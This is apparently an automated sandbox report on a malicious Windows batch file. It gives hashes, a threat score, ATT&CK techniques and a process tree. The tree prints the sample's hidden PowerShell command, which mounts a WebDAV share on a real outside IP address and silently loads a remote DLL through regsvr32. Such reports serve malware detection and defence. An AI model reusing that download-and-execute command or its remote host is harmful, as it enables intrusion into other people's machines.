2571c1aed9e0afd80f3d9fd582a2243e9290f15dde9dc59ba2d584fe229b0f3e

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 02:50

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General

Target

17040149102610426347.bat
Size

16KB
MD5

fc31aea06f665c4a337c021f2b636e08
SHA1

5d210e524b21fd5205f1dd78a0ae94ffba28210e
SHA256

2571c1aed9e0afd80f3d9fd582a2243e9290f15dde9dc59ba2d584fe229b0f3e
SHA512

3e53c1584e4a4623c10e8bb40cbb8fd1d078c334d1b8c7640dc770740592c46159d65428df7421f11538767df7be3fed5fa116130a926e1ef77b246f6976711a
SSDEEP

384:cDiivw9HeDghRmjkIH5W8cUYm1cbG8odybruegj:G89HeDgh0Iy5bcS1cdoj

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3664	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3664	powershell.exe
3664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3664	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
736	wordpad.exe
736	wordpad.exe
736	wordpad.exe
736	wordpad.exe
736	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3284 wrote to memory of 736	3284	cmd.exe	84
PID 3284 wrote to memory of 736	3284	cmd.exe	84
PID 3284 wrote to memory of 3664	3284	cmd.exe	86
PID 3284 wrote to memory of 3664	3284	cmd.exe	86
PID 3664 wrote to memory of 2232	3664	powershell.exe	88
PID 3664 wrote to memory of 2232	3664	powershell.exe	88
PID 3664 wrote to memory of 4776	3664	powershell.exe	89
PID 3664 wrote to memory of 4776	3664	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\17040149102610426347.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3284
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\193261688821864.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2232
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\193261688821864.dll
    3⤵
    PID:4776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bn0ixy4r.hbn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3664-5-0x0000025EB8550000-0x0000025EB8572000-memory.dmp

Filesize
136KB

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